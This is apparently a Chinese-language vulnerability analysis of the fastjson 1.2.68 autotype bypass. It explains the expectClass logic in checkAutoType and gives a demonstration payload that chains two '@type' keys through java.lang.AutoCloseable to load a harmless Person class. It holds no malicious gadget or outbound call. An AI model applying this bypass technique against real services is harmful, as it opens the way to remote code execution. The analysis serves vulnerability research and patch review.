引言
fastjson 68版本前一阵子有些闹得沸沸扬扬的,我这边也一直忙着写字节码扫描器没太用心关注,今天看到fastjson代码已经跟进到71版本了,所以对68和69版本的代码做了一下比对,看了一下修复代码,这里对68版本fastjson的RCE漏洞做一下原理以及利用场景的分析。
注:其实最初在5月10号的时候我这边就已经看到了68版本的一种利用方式,基于Throwable子类的利用方式,不过这种方式只是68版本利用方式中的一种。
fastjson的漏洞跟进的比较多的情况下,可以明白一个基本的套路就是,不管绕过怎么样的风骚,修复代码大部分都在ParserConfig类的checkAutoType里面,所以就话不多说,把68版本和69版本的ParserConfig类做个比较,看到改动还是很少的。
2. 当expectClassFlag为true的时候,即使fastjson的autoype为false我们也能加载期望类的实例。
java public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)
JavaBeanDeserializer类的deserialze函数
ThrowableDeserializer类的deserialze函数
关于第二种场景,我这边5月10号就到了别的大佬的分析,有兴趣大家可以去看一下,我就不再赘述,这里着重讲第一种。(当然其实就原理而言完全是一回事。)
但是,这里一定要注意一个特别重要的问题,由于默认autotype是关着的,那么我们又怎么样去用@type来生成传给deserialze的clazz呢,下面我就先给出目前fastjson在autotype关闭的情况下能生成的clazz的范围:
1. cache mapping:48版本以前fastjson允许用户通过{"@type":"java.lang.Class","val":"com.evilClass"}的形式向mapping里面添加恶意类,这样不需要依赖autotype可以直接从cahce的mapping里获取clazz,但是48版本已经修复该问题。当然cache mapping在刚fastjson启动的时候就已经放了不少clazz,加载的时候不受autotype限制。
所以我们需要的clazz就是要从上诉列举的三种情况里面寻找到,与此同时保证它不再黑名单里面。
OK,全部的分析已经到位,我们来汇总一下,看看poc究竟要怎么写:
1. 首先要用@type来生成一个clazz(不受autotype影响的)。从而把这个clazz传入deserialze函数的exceptClass中,要保证clazz不能为以下类。(这个是68版本的,69版本又添加了三个。)
2. 紧跟在生成在第一个@type后面,再跟一个@type,它的value不能是黑名单里面的类,而且必须是第一个clazz的子类。
之后便能生成一个不受autotype影响的clazz,以达到利用效果。
关于漏洞的复现,为了方便起见,我就直接去拿了69版本被拉黑而68版本没被拉黑的AutoCloseable接口来构造poc了。
因为想要利用成功必须保证第二个clazz实现AutoCloseable的接口,恶意类难找,我们只聊原理,我就随便写了一个利用类。
java
package defaultpack;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import org.h2.tools.SimpleResultSet;
import java.lang.reflect.Field;
public class Person implements AutoCloseable{
private String name;
private int age;
private String gender;
public Person() {
System.out.println("no-arg construct invoked!!!");
}
public Person(String name, int age, String gender) {
this.name = name;
this.age = age;
this.gender = gender;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
System.out.println("getAge invoked!!!");
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("setAge invoked!!!");
}
public String getGender() {
return gender;
}
public void setGender(String gender) {
this.gender = gender;
}
@Override
public void close() throws Exception {
}
}
java
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"defaultpack.Person\",\"age\":\"13\"}";
JSON.parseObject(payload);
可以从上面的分析看出,虽然在原理层面上,的确存在着代码执行的风险,且绕过了autotype机制,但是这个利用受到了多方面限制:
漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类(目前在68版本我已知的是Throwable和AutoCloseable)。
所以因为以上两点的限制,就可以发现利用是非常局限的,当然也不排除黑客大佬们思路广阔而笔者才疏学浅的可能性,因此我也仅在这里给出自己的看法。